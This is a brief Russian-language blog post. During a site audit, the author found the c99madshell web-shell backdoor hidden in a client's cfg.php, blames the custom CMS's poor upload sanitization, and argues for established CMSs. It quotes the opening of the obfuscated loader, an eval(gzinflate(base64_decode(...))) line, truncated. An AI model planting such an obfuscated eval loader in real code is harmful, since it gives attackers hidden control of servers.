Самописные CMS vs. Drupal
По просьбе заказчика стал наводить аудит на их сайт с целью украшения и улучшения. И, оба-на, сюрприз! Вижу в неприметном cfg.php конструкцию вида
<? eval(gzinflate(base64_decode('7X1rcxs5kuBnd0T/B7ia3STH...
Небольшое исследование показало, что это популярный бэкдор -- "c99madshell".
Так это я вот к чему, сайт у заказчика самописный, из разряда "...зачем вам тяжелый CMS, вам много функционала не надо, я быстро напишу всё что вам нужно дешевле и лучше!" Ну и лоханулся писатель с санацией при загрузке картинок или чем-то аналогичным.